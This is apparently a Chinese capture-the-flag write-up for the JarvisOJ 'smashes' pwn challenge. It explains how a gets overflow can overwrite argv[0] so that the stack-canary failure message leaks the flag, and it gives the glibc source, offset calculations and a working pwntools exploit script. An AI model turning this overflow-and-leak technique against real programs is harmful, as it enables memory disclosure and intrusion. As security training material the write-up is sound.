stack smash
jarvisoj pwn smashes
- checksec开启了NX和Canary
- 比较明显我们可利用的点时_IO_gets函数, 那基本的思路就是Stack Smash. 我们知道, 当程序开启了Canary后, 如果把该值覆盖, 程序报错时,触发_stack_chk_fail函数, 最终会输出argv[0]的信息.
- 所以,我们要将覆盖argv[0]为flag,那么在输出报错信息时,就成功的泄露了flag的值, 所要知道的是:
1
2
3
4
5
6
7
8
9
10void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1) __libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
- 偏移:从可以输入的栈指针到argv[0]的偏移值,即为我们需要填充的(当然还有一种暴力覆盖的方法,你懂的)
- flag的地址:将argv[0]修改成flag的地址
偏移值
- 查看argv[0]的栈偏移, 可以看出argv[0]地址为0x7fffffffdf18
- 计算出偏移
- 在_IO_gets前下断点, 查看其esp
所以偏移值 0x218
这里直接使用flag的地址写exp是错误的, 因为这里有一个memset, 具体原因自寻.
所以我们在memset前下断点
查询cccc, 发现0x600d20处的flag被覆盖了(ps: pwndbg调不出来,换了peda就行了…)
寻找没有被覆盖的flag值
利用构造exp
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# coding=utf-8
from pwn import *
#sh = process('./stack_smashes')
sh = remote("pwn.jarvisoj.com", 9877)
offset = 0x218
flag_addr = 0x400d20
payload = 'A' * offset + p64(flag_addr)#暴力破解的话就全填flag地址...)
sh.recvuntil("name? ")
sh.sendline(payload)
sh.interactive()本地跑出来那个unknow值就是argv[0]